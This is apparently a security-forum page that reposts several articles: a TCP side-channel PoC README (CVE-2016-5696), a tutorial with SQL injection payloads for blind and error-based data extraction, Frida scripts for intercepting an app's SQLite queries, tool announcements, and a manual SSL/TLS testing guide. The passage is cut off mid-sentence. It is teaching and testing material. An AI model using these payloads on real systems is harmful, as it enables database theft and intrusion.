Nytro

Da, o sa le pun patrate la loc, thanks. Unde au disparut? Daca a aparut imaginea default in loc de avatar, inteleg, nu am ce face, trebuie puse din nou.

Revenind, ce problema mai sunt legate de tema? Exista probleme de functionalitate?

rover Proof of Concept code for CVE-2016-5696 Rover is a small python program to discover abitrary client source ports as shown in CVE-2016-569. Once the source port is known, the 4 tuple of information needed to confirm that two host are communicating can be completed. When run, rover establishes a connection with the target server, syncs its internal clock to the server challenge ack time, then begins to search through the default ephemeral port range of most linux hosts (this can be changed if required). For more information, find the original paper here This has been tested to run on kali 1.0 against an Ubuntu 14.04 SSH server. It should work against others, however some modification to the code may/will be needed. Requirements are: Python2.7 Scapy 2.3.2 Usage is as follows: rover.py [-h] -c 192.168.1.1 -s 192.168.1.10 -p 22 [-v v, vv] CVE2016-5969 Demonstrator. optional arguments: -h, --help show this help message and exit -c 192.168.1.1 The target client IP. -s 192.168.1.10 The target server IP. -p 22 The target server port. -v v, vv The verbosity level Rover will complete in approx 1-2 minutes, depending on the quality of sync. Some important notes. Rover is bandwith dependant. It currently sends out 700 packets a second. If it fails to do so in the required time, the program will fail. I have included the line: os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP') because the kernel will reset a scapy connection by default. This must be in IPTABLES for the program to work. If you use vmware, keep in mind that workstation and player limit bandwith. This may cause issues. If so, use a physical host for the attack machine. Link: https://github.com/violentshell/rover

Exploiting blind SQL injections in ‘UPDATE’ and ‘INSERT’ statements without stacked queries by Sina Yazdanmehr Overview The SQL injection attack was introduced around 1998 for the first time. This high-level risk vulnerability can be found in any database oriented application, and is able to cause critical attacks by attackers, such as retrieving or storing arbitrary data in the database or, in some cases, even enabling remote code execution. It has some rewound types, like in-band, inferential and out-of-band SQL injection1, and each of these types has subcategories. The In-band (also known as Classic SQL injection) is the most common and the easiest for exploitation. In this type of SQL injection, the attacker is able to see the injected payload, or a database error message. The Union-based and Error-based SQL injection attacks are sub categories of this kind. The inferential (also known as Blind SQL injection) stands for another sort of this attack, when the attacker is unable to see the result of a payload or a database error message. In this case, the attacker must use conditional statements and extract data from the target database by deducing the result of injected condition. This sort has two subsets, Boolean-based and Time-based attacks. The last type is Out-of-band SQL injection, which is not very common. It depends on the target database features, such as making DNS or HTTP requests. By abusing those abilities, the attacker can extract data and send it back as part of an HTTP or DNS request to his server. This allows him to read the data that otherwise he cannot see since he is completely unable to see any results of his queries directly. Since inefficient user input validation causes this fault, it might happen in each type of database statements. However, the most common SQL statement in which this vulnerability usually happens is the ‘SELECT’ expression. Lots of ways for exploiting, as well as mitigating, this type can be found on the Internet for any kind of database, like MySQL, MSSQL, Oracle and even MS Access. Due to the variety of database types, WAFs and the fact that each programmer or developer team can have a new and innovative way for passing the user input to the database, as well as protecting against SQL injection, exploiting this flaw can be different in each case, based on the potential security systems, database type, and the vulnerable SQL statement. In this article, I am going to approach exploiting SQL injection flaws in ‘UPDATE’ and ‘INSERT’ expressions with a novel approach when you are unable to use stacked queries and when the result of executing the statements is practically invisible, making such attacks completely blind. Of course, this method might be useful to bypass security filtrations and WAFs in any sort of this vulnerability. Stacked queries limitation Each programming language has a DBMS connector in order to communicate with a specific database. According to the database type and the programming language, they have some limitations: one that can impact SQL injection attacks is stacked queries limitation. The term ‘Stacked Queries’ simply means when two or more queries are queued to be executed by a database one after another in the same session. The following MySQL queries demonstrate a simple stacked query: SELECT ID, name, lastname FROM users; UPDATE session SET lastseen = NOW(); (Code snippet 1) As can be seen, ‘SELECT’ and ‘UPDATE’ queries have been queued. The ‘SELECT’ statement will be executed first and after that, the database engine would interpret and execute the ‘UPDATE’ query. MySQL has more limitations in case of stacked queries. The table below is a brief comparison of these restrictions for MySQL, MSSQL and PostgreSQL with three different programming languages: (Table 1) In SQL injection attacks, stacked queries are typically used in order to update data in the database in case there is a SQL injection defect in a ‘SELECT’ statement. This is important since the ‘SELECT’ statement cannot have an ‘INSERT’ or ‘UPDATE’ statement as a sub-select query, so in this case it must be done through stacked SQL queries. On the other hand, if there is a SQL injection in ‘INSERT’ or ‘UPDATE’, an attacker would need to take advantage of stacked queries in order to fetch data.(Table 1) If the attacker finds an Injection vulnerability in an ‘INSERT’ or ‘UPDATE’ statement where the stack queries are unsupported (like PHP coupled with MySQL), he would need to find a manner to be able to fetch data from the target database. Two conditions have impact on this exploitation, these are: If the application throws the database’s error messages or not. If the result of a vulnerable statement is visible or not. If the application shows the error messages or the query’s result, the exploitation would be easier because some MySQL functions return the result of subqueries in their error messages, so by abusing those functions, the attacker can execute a subquery and see its result through error messages. Suppose the vulnerable expression is the following code: INSERT INTO user_agent values(NULL, ‘{$_SERVER[‘HTTP_USER_AGENT‘]}’); (Code snippet 2) If the vulnerable application shows database error messages, the attacker could use the ‘UpdateXML()’, ‘Extractvalue()’ or ‘Name_const()’ functions. For example, by using the ‘UpdateXML()’ function like below: INSERT INTO user_agent values(NULL, ‘1’ and updatexml(1, concat(0x7e, (user())), 0) and ‘1’); (Code snippet 3) Since the concat(0x7e, (user())) does not return a valid Xpath, the ‘UpdateXML()’ function will throw the following error message: #1105 – XPATH syntax error: ‘~root@localhost’ In further steps, he can simply substitute arbitrary queries with ‘User()’ function in this statement and extract other data from the target database. In addition to these functions, an attacker might abuse ‘BIGINT’ overflow defect in MySQL. The attacker would use a subquery like this: INSERT INTO user_agent values(NULL, ‘1’ and (select ~0+!(select*from(select user from mysql.user limit 1)x)) and ‘1’); (Code snippet 4) Then he will receive the following error message: #1690 – BIGINT UNSIGNED value is out of range in ‘(~(0) + (not((select ‘root‘ from dual))))’ (Code snippet 5) As can be seen, the database engine reveals the subquery’s result in the error message. These two exploitation solutions, as well as others, work when the vulnerable application throws the database error messages. They would not be useful in a case where the application has appropriate error handling. If the application has suitable error handling, the result of the query might be shown to the user, or maybe the user does not see any result of executed queries. In the remainder of my paper, I will focus on exploiting blind and result based SQL injection in the ‘INSERT’ and ‘UPDATE’ statements. Exploiting result based injections Since some databases, such as MySQL, do not join strings with plus sign ‘+’, it is impossible to join a subquery result in a vulnerable ‘UPDATE’ or ‘INSERT’ statement. Other payloads with ‘AND’ or ‘OR’ conditional expression (as shown in the previous part) can be coupled with time-based conditions so that an attacker will be able to deduce the result of the injected payload by measuring the response time. In this case, an attacker must first escape quotation mark to be able to inject arbitrary statements, after that he will need to join the injected query with previous and next strings in quotation marks. For instance, the vulnerable SQL statement that was mentioned earlier (Code snippet 2) could be exploited by injecting a malicious payload in user-agent HTTP header, and the attacker simply can escape quotation marks with injecting this mark before and after his payload. For joining these parts, the attacker can use a conditional expression as mentioned before, or take advantage of mathematical operators, but, for this purpose, he first needs to convert the result of the subquery to its integer equivalent. The best way to perform this would be to convert the target data to hexadecimal (base 16) first, and then taking the hex value to its decimal value (base 10), so that the attacker will have target data in decimal value. This approach is the best since all databases support these types and have casting and converting data types functions, thus the attacker could calculate the hex and decimal values of target data easily. Although this manner is the easiest way, databases are limited in data size and this can cause problems with storing long converted strings as integers. For instance, MySQL maximum BIGINT size is ‘18446744073709551615’, so due to the fact that the length of the target data is indeterminate for the attacker, he needs to chop the data by string functions such as ‘SUBSTRING()’. It is impossible to fetch a whole subquery result in one request because the database engine cannot store whole integer equivalent of result at the same time. The attacker might chop result of injected query and extract it part by part. For example, an attacker might use the following payload for the previous sample vulnerable code: 1′ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1 (Code snippet 6) The complete query which will be executed by database will be: INSERT INTO user_agent values(NULL, ‘1’ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1’); (Code snippet 7) Since the number 1 is ineffective in multiplication, the result of subquery (first database username) as numbers in base 10 will be stored instead of user-agent. The result of this payload is ‘1919905652’ that can be converted to the original result of doing this conversion vice versa. It must first be taken to base 16 and then converted to a string, it can easily be done by the following expression: SELECT unhex(conv(1919905652, 10, 16)); (Code snippet 8) And it equals to ‘root’. This manner can be extended to extract other data from a database by changing the subquery inside of ‘SUBSTRING()’ function. Exploiting blind injections In the last scenarios, the attacker was able to see the payload result, or the database error messages. However, it is possible to exploit this vulnerability when the application does not show anything about result or errors of a query. An attacker is able to overcome this issue by utilizing flow control statements coupled with delay functions in order to infer the validity of a conditional statement result and extract arbitrary data. Databases support various sorts of flow controls, one of them is ‘CASE … WHEN’, which is used for complex condition expressions. The value of the ‘CASE’ statement is compared with ‘WHEN’ statements and the body of first ‘WHEN’ expression is executed which matches with the value. Also, it accepts ‘ELSE’ expression that is executed when none of ‘WHEN’ statements match with the condition value. An attacker might use this statement with a delay function like ‘SLEEP()’ or ‘BENCHMARK()’ to extract data blindly. Basically, when the attacker uses flow control statements coupled with delay functions, he determines a condition for the database engine and makes it wait for a certain amount of time when the condition is valid. Otherwise, the database engine responds to the request without postponement. Therefore, the attacker can measure the response time for each request and infer the validity of the condition. The subsequent payload demonstrates how an attacker could exploit a blind injection: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 9) And the final query that will be executed by the database engine will be: INSERT INTO user_agent values(NULL, ‘1’ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1’); (Code snippet 10) This payload result depends on the ‘CASE’ statement validity. Since the attacker has integrated ‘SLEEP()’ function with ‘CASE’ statement, the server response will take more than 10 seconds in case the conditional statement is true, otherwise the attacker receives the response faster (instantaneously). If the server responds to this request in less than 10 seconds, the attacker deduces that this condition is false, so he may try another condition like the following expression: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 5 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 11) In this payload, the attacker has substituted the number ‘5’ with the number ‘4’ in the ‘WHEN’ condition. It means the server will respond to this request after 10 seconds in case the target database version string starts with number ‘5’. The attacker may also try to extract some other information, such as the database username or current database name, in the first step to verify basic assumptions and make sure injected payloads are executed by the target database. After that, he could replace the ‘VERSION()’ function with more complex queries in order to extract arbitrary data from the database. Acknowledgments I sincerely thank Mr. Bojan Zdrnja whose expertise, experience, generous support and guidance made it possible for me to prepare this article. It is my pleasure to work with him. References: Acunetix, Types of SQL injection Damele, Advanced SQL injection to operating system full control Jayathissa, SQL Injection in Insert, Update and Delete Statements. Jayathissa, BIGINT Overflow Error Based SQL Injection. Advanced SQL injection to operating system full control https://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf SQL Injection in Insert, Update and Delete Statements https://www.exploit-db.com/docs/33253.pdf BIGINT Overflow Error Based SQL Injection https://www.exploit-db.com/docs/37733.pdf Time-Based Blind SQL Injection Attacks http://www.sqlinjection.net/time-based/ Stacked Queries http://www.sqlinjection.net/stacked-queries/ MySQL Flow Control Statements https://dev.mysql.com/doc/refman/5.7/en/flow-control-statements.html MySQL Integer Types http://dev.mysql.com/doc/refman/5.7/en/integer-types.html Types of SQL injection http://www.acunetix.com/websitesecurity/sql-injection2/ Author: Sina Yazdanmehr He is a penetration tester and information security consultant. His expertise is web and mobile applications security. He currently works for Infigo IS, and has worked for other security firms and CERT since 2009. Sursa: https://pentestmag.com/exploiting-blind-sql-injections-update-insert-statements-without-stacked-queries-sina-yazdanmehr/

Fun with Frida August 22, 2016 During a previous engagement Securus Global was asked to review a desktop application that used a local SQLite3 database to store a list of blacklisted URLs. As expected the database file was encrypted and not much that could be done with the database. If the consultant tried to open the database using any SQLite3 client an error message would pop up in our face. At Securus Global we have extensive experience with Frida, a framework that allows you to inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android (more on Frida here http://frida.re). It is used heavily in our Mobile App Penetration Tests so the team decided to take a further look at the application and managed to trace the “requests” to libsqlite3.dylib. Keep in mind that the same approach will work for libsqlite3.so. Also note that this has not been tested in a Windows environment. Our goal at the time was to discover the SQL queries performed by the application and try to acquire some useful information, we started to look into two specific functions in libsqlite3.dylib: open – https://www.sqlite.org/c3ref/open.html prepare – https://www.sqlite.org/c3ref/prepare.html The open function is defined as: To know the database filename the consultant had to hook the function open and read the first argument from memory, args[0]. Thankfully, Frida provides an excellent wrapper to read from memory with Memory.readUtf8String. For more detailed information please refer to this link:http://www.frida.re/docs/javascript-api/#memory. Below is a sample code snippet to read the first argument from open’s function. Based on the sqlite3_open definition we know that the first argument is a pointer to filename, so if we read that argument we’ll figure out the database filename. #open.js 'use strict'; //libsqlite3.dylib var sqlite3_open = Module.findExportByName('libsqlite3.dylib ', 'sqlite3_open'); Interceptor.attach(sqlite3_open, { onEnter: function(args) { console.log('Database filename: ' + Memory.readUtf8String(args[0])); } }); The team found the file, but as mentioned before, unfortunately the file was encrypted. The team decided to change the approach and find the SQL statements before they were saved in the encrypted file. The prepare function is defined as: In order to not be “jailed” by the file encryption, we need to follow the same steps as previously applied in the open function, but now we have to read an argument in a different function, sqlite3_prepare_v2, and check above the sqlite3_prepare_v2 structure. Sample code to read the second argument from sqlite3_prepare_v2 function. #prepare.js 'use strict'; // libsqlite3.dylib var sqlite3_prepare_v2 = Module.findExportByName('libsqlite3.dylib', 'sqlite3_prepare_v2'); Interceptor.attach(sqlite3_prepare_v2, { onEnter: function(args) { console.log('SQL: ' + Memory.readUtf8String(args[1])); } }); Our Proof of Concept (PoC) is quite simple, basically we use the sample code provided in Frida’s documentation to inject one of our JavaScript files, open.js or prepare.js, into the application process. #poc.py import frida import sys import codecs def on_message(message, data): if message['type'] == 'send': print(message['payload']) elif message['type'] == 'error': print(message['stack']) pid = raw_input("app pid: ") try: session = frida.attach(int(pid))s print "[+] Process Attached" except Exception as e: print "Error => {0}".format(e) sys.exit(0) with codecs.open('./prepare.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.on('message', on_message) script.load() try: while True: pass except KeyboardInterrupt: session.detach() sys.exit(0) Screenshots Running our PoC to attach it to the application process and inject our JavaScript. The output is the SQL Statements. The same PoC code could be used against others applications that use a SQLite3 database, such as: Skype. As we have been using Frida for some time now we highly recommend it for doing mobile application tests. Along with our own scripts, highly dependent on the test, we recommend the following Frida extensions: Fridump – https://github.com/Nightbringer21/fridump Appmon – https://github.com/dpnishant/appmon/ CryptoShark – https://github.com/frida/cryptoshark How to prevent It The simplest approach to fix this is, instead of encrypt the database file the application should encrypt the information in memory before saving it to the database. References http://www.frida.re https://github.com/frida/frida-python https://www.sqlite.org/ This entry was posted in Penetration Testing on August 22, 2016 by securusblog. Sursa: https://www.securusglobal.com/community/2016/08/22/fun-with-frida/

netdata Aug 21st, 2016: Netdata got health monitoring - alarms May 16th, 2016 netdata v1.2.0 released! 30% faster! netdata registry, the first step towards scaling out performance monitoring! real-time Linux Containers monitoring! dozens of additional new features, optimizations, bug-fixes May 1st, 2016320.000+ views, 92.000+ visitors, 28.500+ downloads, 11.000+ github stars, 700+ forks, 1 month! And it still runs with 600+ git downloads... per day! Check what our users say about netdata. Real-time performance monitoring, done right! This is the default dashboard of netdata: real-time, per second updates, snappy refreshes! 300+ charts out of the box, 2000+ metrics monitored! zero configuration, zero maintenance, zero dependencies! Live demo: http://netdata.firehol.org Features netdata is a highly optimized Linux daemon providing real-time performance monitoring for Linux systems, Applications, SNMP devices, over the web! It tries to visualize the truth of now, in its greatest detail, so that you can get insights of what is happening now and what just happened, on your systems and applications. This is what you get: Stunning bootstrap dashboards, out of the box (themable: dark, light) Blazingly fast and super efficient, mostly written in C (for default installations, expect just 2% of a single core CPU usage and a few MB of RAM) Zero configuration - you just install it and it autodetects everything Zero dependencies, it is its own web server for its static web files and its web API Zero maintenance, you just run it, it does the rest Custom dashboards that can be built using simple HTML (no javascript necessary) Extensible, you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin - from BASH to node.js, so you can easily monitor any application, any API) Embeddable, it can run anywhere a Linux kernel runs and its charts can be embedded on your web pages too Link: https://github.com/firehol/netdata

Dawnscanner v1.6.2 – Ruby Code Auditing Tool Dawnscanner is a source code scanner designed to review your ruby code for security issues. Dawnscanner is able to scan plain ruby scripts (e.g. command line applications) but all its features are unleashed when dealing with web applications source code. It supports major MVC (Model View Controller) frameworks, out of the box: Ruby on Rails Sinatra Padrino Dawnscanner is built with security in mind to provide you: A solid vulnerability knowledge base: version 1.5.0 contains 209 security checks and mailing list and website talking about security are continuously polled to include new checks An easy to use tool: dawnscanner provides report in both text and HTML format, it has a json output to be consumed in a script and it provides rake tests to be included in your development workout Vulnerabilty mitigation: dawnscanner has mitigation suggestions in its knowledge base. You won’t be alone dealing with security bugs. More Information: here Download Dawnscanner v1.6.2 Thanks to Paolo Perego, for sharing this tool with us. Sursa: http://www.toolswatch.org/2016/08/dawnscanner-v1-6-2-ruby-code-auditing-tool/

Manually Testing SSL/TLS Weaknesses 2016 Edition By Michael Skiba, 16 Aug. 2016 In 2015 we published a blogpost that explained how to manually test for the most common SSL/TLS weaknesses. This has become one of the most popular posts on our blog and so we have decided to write an update for our readers to ensure that you are up to date with the latest SSL/TLS issues. Introduction The Transport Layer Security (TLS) protocol and its better known predecessor Secure Socket Layer (SSL) are still the pillars for public facing secure transportation of web services, such as HTTPS, SMTPS, IMAPS, etc. It might be the revelations of mass interception of internet traffic by various agencies or a general increase in security awareness that has led to an increase in TLS/SSL deployment (Schneier on Security). The site builtwith, which monitors trends for different web technologies, has registered an increase in the proportion of the top 1 million websites that use HTTPS by default from 22831 (2.2%) in August 2015, to 83951 (8.4%) by July 2016. This represents an increase of a little over 3.5. However, the increasing prevalence of TLS/SSL makes it an interesting target for both hackers and national agencies alike that both try to weaken or break the encryption. As a result, new weaknesses are frequently published, which require an equally frequent update of a server’s TLS/SSL configuration. With this updated blogpost we try to show you more ways to manually test your TLS/SSL configuration. On a brighter note: The proportion of sites with an insecure SSL/TLS configuration (according to SSL Pulse) has dropped from about 75% in June 2015 to 59.5% of the ~140,000 sites surveyed in July 2016. This indicates that the overall security of SSL/TLS configurations has increased. Another noteworthy thing is that the number of sites utilising the HTTP Strict Transport Security header has doubled in size from ~5,300 to 12,500 for the same reporting period, though this still only represent about 8.7%). For more information about this and other HTTP headers, have a look at our blog post about ‘The Security of HTTP-Headers’. This blog post covers the following topics: DROWN (new) TLS_FALLBACK_SCSV (new) Logjam (new) SSLv2 Support SSLv3 Support Cipher Suites SSL Certificates Renegotiation Compression Implementation Issues DROWN Drown stands for Decrypting RSA with Obsolete and Weakened eNcryption and is yet another SSLv2 vulnerability. SSLv2 was discussed in the previous version of this blog post, so why do we mention it again? DROWN is different from merely using old and broken SSLv2 ciphers. DROWN enables an attacker to decrypt, otherwise totally secure, TLS sessions via SSLv2 handshakes. This vulnerability is not limited to a specific SSL implementation. However, OpenSSL, probably the most commonly used SSL implementation, suffers from a bug (CVE-2015-3197) that makes it vulnerable even if no SSLv2 ciphers are offered, but SSLv2 is not explicitly disabled (affected versions are OpenSSL <1.0.1r and <1.0.2f). Another tricky little detail is that if you have several SSL/TLS services running on your server that share the same key material (e.g. because they serve the same certificate), then a single service being vulnerable makes every SSL/TLS connection to your server vulnerable. So an old mail server that supports SSLv2 can endanger an otherwise perfectly configured TLSv1.2-only HTTPS connection. To check if a host is vulnerable to DROWN you can use nmap > =7.10 to scan all the services on your host: nmap –p- –sV –sC example.com A quicker scan, which will only check the most common SSL enabled ports (FTP, HTTP, IMAP, POP, SMTP) is the following line (use in one's sole discretion): nmap –p 21,25,110,143,443,465,587,993,995,2525 –sV –sC example.com To determine if your system is vulnerable look for the line ‘SSLv2 supported’: nmap --script ssl-enum-ciphers -p 443 10.0.0.1 Nmap scan report for 10.0.0.1 PORT STATE SERVICE REASON 443/tcp open https syn-ack | sslv2: | SSLv2 supported | ciphers: | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_ Please note that nmap <7.10 does not catch the OpenSSL bug (CVE-2015-3197) where OpenSSL still processes SSLv2 handshakes even though it did not offer any SSLv2 ciphers. As an alternative, one can use a tool provided by Hubert Kario, called tlsfuzzer. Full details of the DROWN attack, including the paper released by the researchers, can be found here:https://drownattack.com/#paper. TLS_FALLBACK_SCSV When a client fails to establish an SSL/TLS connection with its most recent supported protocol version, it will attempt to negotiate with the server within the same TCP connection to find the highest common version supported by both the server and client. However, some servers with a poor SSL/TLS implementation are not able to properly communicate to a client that they require an older version of a protocol (e.g. client supports TLS up to version 1.2, while the server only speaks TLS 1.1) and drop the TCP connection. To ensure compatibility, the client will then start a new connection with a lower SSL/TLS version until the negotiation process is complete. Unfortunately, this behaviour is a flaw because the server loses the state information about the negotiation process when it drops the TCP connection and leaves connections between the client and server vulnerable to a downgrade attack. To perform such a downgrade, an attacker in a man-in-the-middle position deliberately alters messages from the server to the client or withholds them entirely, hoping that the client will try to reconnect to the server with a lower protocol version that is easier to attack (e.g. SSLv3). The ability of a man-in-the-middle attacker to perform this attack is regardless of whether the server uses a poor SSL/TLS implementation. To mitigate this attack vector, the TLS_FALLBACK_SCSV ‘cipher’ was introduced. It is not an actual cipher, but provides a method for the client to signal to the server that a previous connection attempt failed. It is advertised by the client as an available cipher when the client is not using its highest supported version. Servers that have implemented the TLS_FALLBACK_SCSV check will detect this ‘cipher’ and compare the client’s advertised protocol version to their own set of supported versions. If the TLS_FALLBACK_SCSV cipher is present and client protocol version is smaller than the highest version supported by the server, i.e. an attacker has downgraded the SSL/TLS connection, the connection will be aborted. If the server is not able to process the TLS_FALLBACK_SCSV cipher then it will simply think of it as an unsupported cipher and ignore it. The following scenarios are provided to help understand the function of the TLS_FALLBACK_SCSV cipher: A client that can speak TLSv1.2 attempts to connect to a server that only speaks TLSv1.1: The client’s first attempt to speak TLSv1.2 will fail and we assume the server does not respond properly so closes the connection. The client then tries to reconnect using TLSv1.1 and will also advertise the cipher TLS_FALLBACK_SCSV. The server sees this cipher and compares both protocol versions. It will see that TLSv1.1 is the latest version that it supports and accept the connection. As above, the client supports TLSv1.2, but the server also supports TLSv1.2. However, an attacker has dropped connection attempts from the client using TLSv1.2, 1.1 and 1.0 until the client tries to connect using SSLv3. The server supports SSLv3 but sees and understands the TLS_FALLBACK_SCSV cipher, which indicates that the client has previously attempted a connection with a higher version. The server knows that it supports higher version and determines that something has interfered with previous connection attempts resulting in a downgrade. The result is that the server sends an error message to the client and aborts the connection. To test if a server checks the TLS_FALLBACK_SCSV cipher, you can use the following command, adjusting the protocol version (highlighted) to the lowest available supported by your server: openssl s_client –tls1 -fallback_scsv -connect example.com:443 If your server supports something better than SSLv3 and checks for the presence of the TLS_FALLBACK_SCSV cipher, it should abort the connection with an error like the following: tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86 The TLS_FALLBACK_SCSV cipher was first proposed in response to the POODLE attack which, in part, used a downgrade prior to exploiting a padding oracle in SSLv3. Details of the POODLE attack and the proposed TLS_FALLBACK_SCSV cipher can be found here:https://www.openssl.org/~bodo/ssl-poodle.pdf. Logjam The Logjam vulnerability affects cipher suites that use a Diffie-Hellman (DH) key exchange (excluding elliptic curve DH) with small DH parameters (<2048 bits). The research that resulted in the Logjam attack demonstrated how it was possible to pre-compute the majority of work required to crack the DH key exchange. Due to the increasing computational power available (e.g. cloud computing and GPU clusters) it has become possible to crack these small keys in just a small amount of time with only reasonable financial investments, e.g. while it took approximately 6 weeks to crack a 512 bit parameters in 2002, you can crack the same 512 bit DH parameters in only a few hours in 2016. 1024 bit parameters will take a longer to crack, but is understood to be achievable for large organisations and governments with enough computing power. This automatically rules out all of the DHE_EXPORT ciphers, which are capped at 512 bits (but you shouldn’t use export ciphers anyway). To check if your non-export DH ciphers have an appropriate key size you can use the following command: openssl s_client -connect www.example.com:443 -cipher "EDH" The DH parameter size used is displayed in the output next to “Server Temp Key”. Please note that you’ll need at least OpenSSL 1.0.2 to display the ‘Sever Temp Key’ parameter. --- No client certificate CA names sent Peer signing digest: SHA512 Server Temp Key: DH, 2048 bits --- SSL handshake has read 6641 bytes and written 455 bytes --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-GCM-SHA384 ... The currently recommended minimum size for DH parameters is 2048 bits. Anything equal or below 1024 is considered insecure. Further details on the Logjam attack, including the paper released by the researchers, can be found here: https://weakdh.org/. SSLv2 Support SSLv2 was released twenty years ago and soon after discovered to have significant weaknesses which could allow an attacker to decrypt and modify communications. It was superseded a year later by SSLv3 which addressed these issues, but despite its age and short lifespan SSLv2 support is still surprisingly common (especially among non-http services – read the DROWN section below to learn why this is a big problem). To check whether SSLv2 is enabled on the remote host, the following command can be used: openssl s_client –ssl2 -connect example.com:443 If SSLv2 is supported, the handshake will complete and server certificate information will be returned, as shown in the following response: openssl s_client -ssl2 -connect 10.0.0.1:443 CONNECTED(00000003) depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver verify error:num=18:self signed certificate verify return:1 depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver verify return:1 --- Server certificate -----BEGIN CERTIFICATE----- MIICnjCCAgugAwIBAgIJAPB2liVH7xRsMA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNV BAYTAkFVMREwDwYDVQQIDAhWaWN0b3JpYTESMBAGA1UEBwwJTWVsYm91cm5lMRAw DgYDVQQKDAdDb250ZXh0MRAwDgYDVQQLDAdQbGF5cGVuMRIwEAYDVQQDDAlzc2xz ZXJ2ZXIwHhcNMTQwMTE3MDMwNjAxWhcNMTcxMDEzMDMwNjAxWjBsMQswCQYDVQQG EwJBVTERMA8GA1UECAwIVmljdG9yaWExEjAQBgNVBAcMCU1lbGJvdXJuZTEQMA4G A1UECgwHQ29udGV4dDEQMA4GA1UECwwHUGxheXBlbjESMBAGA1UEAwwJc3Nsc2Vy dmVyMIGbMA0GCSqGSIb3DQEBAQUAA4GJADCBhQJ+AJdlQF95PWaFnmN0hQd5BYUf SALBHBDO+JkNIPj5evYEAoPql3Am6Uphv3Pxyd+scDowb7UrReH8dBltxfz0Id4V 3wpSJRdwo4Gx8xx27tLjDqbTaPKfSRWGpr0s2S2KJerr3XJvTDtWoiHN3zsx5kLU qvKTm+3LNHp7DgwNAgMBAAGjUDBOMB0GA1UdDgQWBBS5W+orwrw8K5LuFRykGg9w 1DCanzAfBgNVHSMEGDAWgBS5W+orwrw8K5LuFRykGg9w1DCanzAMBgNVHRMEBTAD AQH/MA0GCSqGSIb3DQEBBQUAA34AegQVwKLQseAu7krFdsrfL117Sfpk7BuucJXJ nNbg9WRKFk5raikmp1nc5zLRZ4c6waDSX/rrT2g06IXSAJXmv5d2NYU+5YECJnY5 ApexOlQJvsunKXZdJvBC6FijyLGi8G9zbA5S++JQkXWtiiICPGF2afYI5ahBgGO2 hgE= -----END CERTIFICATE----- subject=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver issuer=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver -- No client certificate CA names sent --- Ciphers common between both SSL endpoints: RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5 EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5 --- SSL handshake has read 807 bytes and written 233 bytes --- New, SSLv2, Cipher is DES-CBC3-MD5 Server public key is 1000 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv2 Cipher : DES-CBC3-MD5 Session-ID: 3BD641677102DBE9BDADF9B990D2D716 Session-ID-ctx: Master-Key: D2AAB3751263EB53BAD83453D26A09DA1F700059FD16B510 Key-Arg : DB92A6A80BF4CA4A Start Time: 1390178607 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) If the server does not support SSLv2 the response will be a handshake failure error similar to the following: CONNECTED(00000003) 458:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:428: A nice one-liner to use in a script: echo Q | openssl s_client –ssl2 -connect example.com:443 | grep “Begin Certificate” Please note that debian and some other distributions have removed the ssl2 option from their openssl packages years ago (Bug#589706), despite displaying it as an option in the help section. So if you get the message “unknown option -ssl2” you’ll have grab yourself a standalone version of openssl or remove the patch that disabled sslv2 manually. SSLv3 Support Despite some issues, SSLv3 was considered secure (at least when configured correctly) until last year when the Google Security Team introduced their Padding Oracle On Downgraded Legacy Encryption (POODLE) attack. POODLE demonstrated that, under certain conditions, it is possible to conduct a "padding oracle" attack against ciphers using cipher-block chaining (CBC) mode. This may allow decryption of communications and disclosure of session cookies. As the only non-CBC cipher supported in SSLv3, RC4, is also known to be cryptographically weak, the conclusion is that SSLv3 should not be used for communications. The Google Security Team further showed that an attacker can force the client and server to downgrade to SSLv3 even if they would normally use TLS, meaning that it is important to ensure that SSLv3 is disabled completely. To test whether a system supports SSLv3, the following OpenSSL command can be used: openssl s_client -ssl3 -connect google.com:443 CONNECTED(00000003) depth=2 /C=US/O=GeoTrust Inc./CN=GeoTrust Global CA verify error:num=20:unable to get local issuer certificate verify return:0 --- Certificate chain --- Certificate details removed for brevity --- --- New, TLSv1/SSLv3, Cipher is RC4-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv3 Cipher : RC4-SHA Session-ID: 6E461AEAD8C1516F9D8950A9B5E735F9882BFC6EA0838D81CFD41C01A3799A41 Session-ID-ctx: Master-Key: 7E7680640BB7E2C83CBE87342727E0D09AC10EEEB095A8C0A2501EAE80FA1C20D3F3FE4346B1234057D6D506420273FA Key-Arg : None Start Time: 1421296281 Timeout : 7200 (sec) Verify return code: 0 (ok) --- A handshake failure error would indicate that SSLv3 is not supported and 